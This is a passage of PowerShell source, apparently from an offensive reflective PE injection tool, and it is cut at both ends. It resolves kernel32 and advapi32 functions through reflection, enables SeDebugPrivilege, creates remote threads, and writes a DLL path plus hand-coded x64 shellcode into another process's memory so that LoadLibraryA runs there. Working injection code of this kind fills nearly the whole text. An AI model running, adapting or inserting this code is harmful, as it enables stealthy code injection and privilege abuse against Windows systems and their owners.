IMAGE_DLLCHARACTERISTICS_NX_COMPAT -Value 0x100 $Win32Constants | Add-Member -MemberType NoteProperty -Name MEM_RELEASE -Value 0x8000 $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_QUERY -Value 0x0008 $Win32Constants | Add-Member -MemberType NoteProperty -Name TOKEN_ADJUST_PRIVILEGES -Value 0x0020 $Win32Constants | Add-Member -MemberType NoteProperty -Name SE_PRIVILEGE_ENABLED -Value 0x2 $Win32Constants | Add-Member -MemberType NoteProperty -Name ERROR_NO_TOKEN -Value 0x3f0 return $Win32Constants } Function Get-Win32Functions { $Win32Functions = New-Object System.Object $VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc $VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) $VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate) $Win32Functions | Add-Member NoteProperty -Name VirtualAlloc -Value $VirtualAlloc $VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx $VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32], [UInt32]) ([IntPtr]) $VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate) $Win32Functions | Add-Member NoteProperty -Name VirtualAllocEx -Value $VirtualAllocEx $memcpyAddr = Get-ProcAddress msvcrt.dll memcpy $memcpyDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr]) ([IntPtr]) $memcpy = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memcpyAddr, $memcpyDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -Value $memcpy $memsetAddr = Get-ProcAddress msvcrt.dll memset $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr]) $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name memset -Value $memset $LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA $LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr]) $LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -Value $LoadLibrary $GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress $GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr]) $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress $GetProcAddressIntPtrAddr = Get-ProcAddress kernel32.dll GetProcAddress $GetProcAddressIntPtrDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr]) $GetProcAddressIntPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressIntPtrAddr, $GetProcAddressIntPtrDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressIntPtr -Value $GetProcAddressIntPtr $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) $VirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeAddr, $VirtualFreeDelegate) $Win32Functions | Add-Member NoteProperty -Name VirtualFree -Value $VirtualFree $VirtualFreeExAddr = Get-ProcAddress kernel32.dll VirtualFreeEx $VirtualFreeExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [UInt32]) ([Bool]) $VirtualFreeEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualFreeExAddr, $VirtualFreeExDelegate) $Win32Functions | Add-Member NoteProperty -Name VirtualFreeEx -Value $VirtualFreeEx $VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect $VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) $VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) $Win32Functions | Add-Member NoteProperty -Name VirtualProtect -Value $VirtualProtect $GetModuleHandleAddr = Get-ProcAddress kernel32.dll GetModuleHandleA $GetModuleHandleDelegate = Get-DelegateType @([String]) ([IntPtr]) $GetModuleHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetModuleHandleAddr, $GetModuleHandleDelegate) $Win32Functions | Add-Member NoteProperty -Name GetModuleHandle -Value $GetModuleHandle $FreeLibraryAddr = Get-ProcAddress kernel32.dll FreeLibrary $FreeLibraryDelegate = Get-DelegateType @([IntPtr]) ([Bool]) $FreeLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FreeLibraryAddr, $FreeLibraryDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name FreeLibrary -Value $FreeLibrary $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenProcess -Value $OpenProcess $WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject $WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32]) $WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name WaitForSingleObject -Value $WaitForSingleObject $WriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory $WriteProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) $WriteProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WriteProcessMemoryAddr, $WriteProcessMemoryDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name WriteProcessMemory -Value $WriteProcessMemory $ReadProcessMemoryAddr = Get-ProcAddress kernel32.dll ReadProcessMemory $ReadProcessMemoryDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UIntPtr], [UIntPtr].MakeByRefType()) ([Bool]) $ReadProcessMemory = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ReadProcessMemoryAddr, $ReadProcessMemoryDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name ReadProcessMemory -Value $ReadProcessMemory $CreateRemoteThreadAddr = Get-ProcAddress kernel32.dll CreateRemoteThread $CreateRemoteThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [UIntPtr], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]) $CreateRemoteThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateRemoteThreadAddr, $CreateRemoteThreadDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateRemoteThread -Value $CreateRemoteThread $GetExitCodeThreadAddr = Get-ProcAddress kernel32.dll GetExitCodeThread $GetExitCodeThreadDelegate = Get-DelegateType @([IntPtr], [Int32].MakeByRefType()) ([Bool]) $GetExitCodeThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetExitCodeThreadAddr, $GetExitCodeThreadDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name GetExitCodeThread -Value $GetExitCodeThread $OpenThreadTokenAddr = Get-ProcAddress Advapi32.dll OpenThreadToken $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool]) $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name OpenThreadToken -Value $OpenThreadToken $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr]) $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name GetCurrentThread -Value $GetCurrentThread $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool]) $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool]) $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool]) $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) { $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx $NtCreateThreadExDelegate = Get-DelegateType @([IntPtr].MakeByRefType(), [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [UInt32], [UInt32], [IntPtr]) ([UInt32]) $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx } $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool]) $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr]) $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread return $Win32Functions } Function Sub-SignedIntAsUnsigned { Param( [Parameter(Position = 0, Mandatory = $true)] [Int64] $Value1, [Parameter(Position = 1, Mandatory = $true)] [Int64] $Value2 ) [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) if ($Value1Bytes.Count -eq $Value2Bytes.Count) { $CarryOver = 0 for ($i = 0; $i -lt $Value1Bytes.Count; $i++) { $Val = $Value1Bytes[$i] - $CarryOver if ($Val -lt $Value2Bytes[$i]) { $Val += 256 $CarryOver = 1 } else { $CarryOver = 0 } [UInt16]$Sum = $Val - $Value2Bytes[$i] $FinalBytes[$i] = $Sum -band 0x00FF } } else { Throw "Cannot subtract bytearrays of different sizes" } return [BitConverter]::ToInt64($FinalBytes, 0) } Function Add-SignedIntAsUnsigned { Param( [Parameter(Position = 0, Mandatory = $true)] [Int64] $Value1, [Parameter(Position = 1, Mandatory = $true)] [Int64] $Value2 ) [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0) if ($Value1Bytes.Count -eq $Value2Bytes.Count) { $CarryOver = 0 for ($i = 0; $i -lt $Value1Bytes.Count; $i++) { [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver $FinalBytes[$i] = $Sum -band 0x00FF if (($Sum -band 0xFF00) -eq 0x100) { $CarryOver = 1 } else { $CarryOver = 0 } } } else { Throw "Cannot add bytearrays of different sizes" } return [BitConverter]::ToInt64($FinalBytes, 0) } Function Compare-Val1GreaterThanVal2AsUInt { Param( [Parameter(Position = 0, Mandatory = $true)] [Int64] $Value1, [Parameter(Position = 1, Mandatory = $true)] [Int64] $Value2 ) [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1) [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2) if ($Value1Bytes.Count -eq $Value2Bytes.Count) { for ($i = $Value1Bytes.Count-1; $i -ge 0; $i--) { if ($Value1Bytes[$i] -gt $Value2Bytes[$i]) { return $true } elseif ($Value1Bytes[$i] -lt $Value2Bytes[$i]) { return $false } } } else { Throw "Cannot compare byte arrays of different size" } return $false } Function Convert-UIntToInt { Param( [Parameter(Position = 0, Mandatory = $true)] [UInt64] $Value ) [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value) return ([BitConverter]::ToInt64($ValueBytes, 0)) } Function Get-Hex { Param( [Parameter(Position = 0, Mandatory = $true)] $Value ) $ValueSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Value.GetType()) * 2 $Hex = "0x{0:X$($ValueSize)}" -f [Int64]$Value return $Hex } Function Test-MemoryRangeValid { Param( [Parameter(Position = 0, Mandatory = $true)] [String] $DebugString, [Parameter(Position = 1, Mandatory = $true)] [System.Object] $PEInfo, [Parameter(Position = 2, Mandatory = $true)] [IntPtr] $StartAddress, [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)] [IntPtr] $Size ) [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size)) $PEEndAddress = $PEInfo.EndAddress if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true) { Throw "Trying to write to memory smaller than allocated address range. $DebugString" } if ((Compare-Val1GreaterThanVal2AsUInt ($FinalEndAddress) ($PEEndAddress)) -eq $true) { Throw "Trying to write to memory greater than allocated address range. $DebugString" } } Function Write-BytesToMemory { Param( [Parameter(Position=0, Mandatory = $true)] [Byte[]] $Bytes, [Parameter(Position=1, Mandatory = $true)] [IntPtr] $MemoryAddress ) for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++) { [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset]) } } Function Get-DelegateType { Param ( [OutputType([Type])] [Parameter( Position = 0)] [Type[]] $Parameters = (New-Object Type[](0)), [Parameter( Position = 1 )] [Type] $ReturnType = [Void] ) $Domain = [AppDomain]::CurrentDomain $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) $MethodBuilder.SetImplementationFlags('Runtime, Managed') Write-Output $TypeBuilder.CreateType() } Function Get-ProcAddress { Param ( [OutputType([IntPtr])] [Parameter( Position = 0, Mandatory = $True )] [String] $Module, [Parameter( Position = 1, Mandatory = $True )] [String] $Procedure ) $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll') } $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') Try { $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') } Catch { $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [reflection.bindingflags] "Public,Static", $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null) } $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) $tmpPtr = New-Object IntPtr $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) } Function Enable-SeDebugPrivilege { Param( [Parameter(Position = 1, Mandatory = $true)] [System.Object] $Win32Functions, [Parameter(Position = 2, Mandatory = $true)] [System.Object] $Win32Types, [Parameter(Position = 3, Mandatory = $true)] [System.Object] $Win32Constants ) [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke() if ($ThreadHandle -eq [IntPtr]::Zero) { Throw "Unable to get the handle to the current thread" } [IntPtr]$ThreadToken = [IntPtr]::Zero [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) if ($Result -eq $false) { $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN) { $Result = $Win32Functions.ImpersonateSelf.Invoke(3) if ($Result -eq $false) { Throw "Unable to impersonate self" } $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken) if ($Result -eq $false) { Throw "Unable to OpenThreadToken." } } else { Throw "Unable to OpenThreadToken. Error code: $ErrorCode" } } [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID)) $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid) if ($Result -eq $false) { Throw "Unable to call LookupPrivilegeValue" } [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES) [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize) $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES) $TokenPrivileges.PrivilegeCount = 1 $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID) $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true) $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero) $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() if (($Result -eq $false) -or ($ErrorCode -ne 0)) { } [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem) } Function Create-RemoteThread { Param( [Parameter(Position = 1, Mandatory = $true)] [IntPtr] $ProcessHandle, [Parameter(Position = 2, Mandatory = $true)] [IntPtr] $StartAddress, [Parameter(Position = 3, Mandatory = $false)] [IntPtr] $ArgumentPtr = [IntPtr]::Zero, [Parameter(Position = 4, Mandatory = $true)] [System.Object] $Win32Functions ) [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero $OSVersion = [Environment]::OSVersion.Version if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) { $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero) $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() if ($RemoteThreadHandle -eq [IntPtr]::Zero) { Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError" } } else { $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero) } if ($RemoteThreadHandle -eq [IntPtr]::Zero) { Write-Error "Error creating remote thread, thread handle is null" -ErrorAction Stop } return $RemoteThreadHandle } Function Get-ImageNtHeaders { Param( [Parameter(Position = 0, Mandatory = $true)] [IntPtr] $PEHandle, [Parameter(Position = 1, Mandatory = $true)] [System.Object] $Win32Types ) $NtHeadersInfo = New-Object System.Object $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER) [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew)) $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64) if ($imageNtHeaders64.Signature -ne 0x00004550) { throw "Invalid IMAGE_NT_HEADER signature." } if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC') { $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64 $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true } else { $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32) $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32 $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false } return $NtHeadersInfo } Function Get-PEBasicInfo { Param( [Parameter( Position = 0, Mandatory = $true )] [Byte[]] $PEBytes, [Parameter(Position = 1, Mandatory = $true)] [System.Object] $Win32Types ) $PEInfo = New-Object System.Object [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length) [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit) $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase) $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders) $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics) [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes) return $PEInfo } Function Get-PEDetailedInfo { Param( [Parameter( Position = 0, Mandatory = $true)] [IntPtr] $PEHandle, [Parameter(Position = 1, Mandatory = $true)] [System.Object] $Win32Types, [Parameter(Position = 2, Mandatory = $true)] [System.Object] $Win32Constants ) if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero) { throw 'PEHandle is null or IntPtr.Zero' } $PEInfo = New-Object System.Object $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS) $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr) $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit) $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) if ($PEInfo.PE64Bit -eq $true) { [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64))) $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr } else { [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32))) $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr } if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL) { $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL' } elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) { $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE' } else { Throw "PE file is not an EXE or DLL" } return $PEInfo } Function Import-DllInRemoteProcess { Param( [Parameter(Position=0, Mandatory=$true)] [IntPtr] $RemoteProcHandle, [Parameter(Position=1, Mandatory=$true)] [IntPtr] $ImportDllPathPtr ) $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1) $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) if ($RImportDllPathPtr -eq [IntPtr]::Zero) { Throw "Unable to allocate memory in the remote process" } [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten) if ($Success -eq $false) { Throw "Unable to write DLL path to remote process memory" } if ($DllPathSize -ne $NumBytesWritten) { Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" } $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") [IntPtr]$DllAddress = [IntPtr]::Zero if ($PEInfo.PE64Bit -eq $true) { $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) if ($LoadLibraryARetMem -eq [IntPtr]::Zero) { Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA" } $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) $LoadLibrarySC2 = @(0x48, 0xba) $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba) $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3) $SCLength = 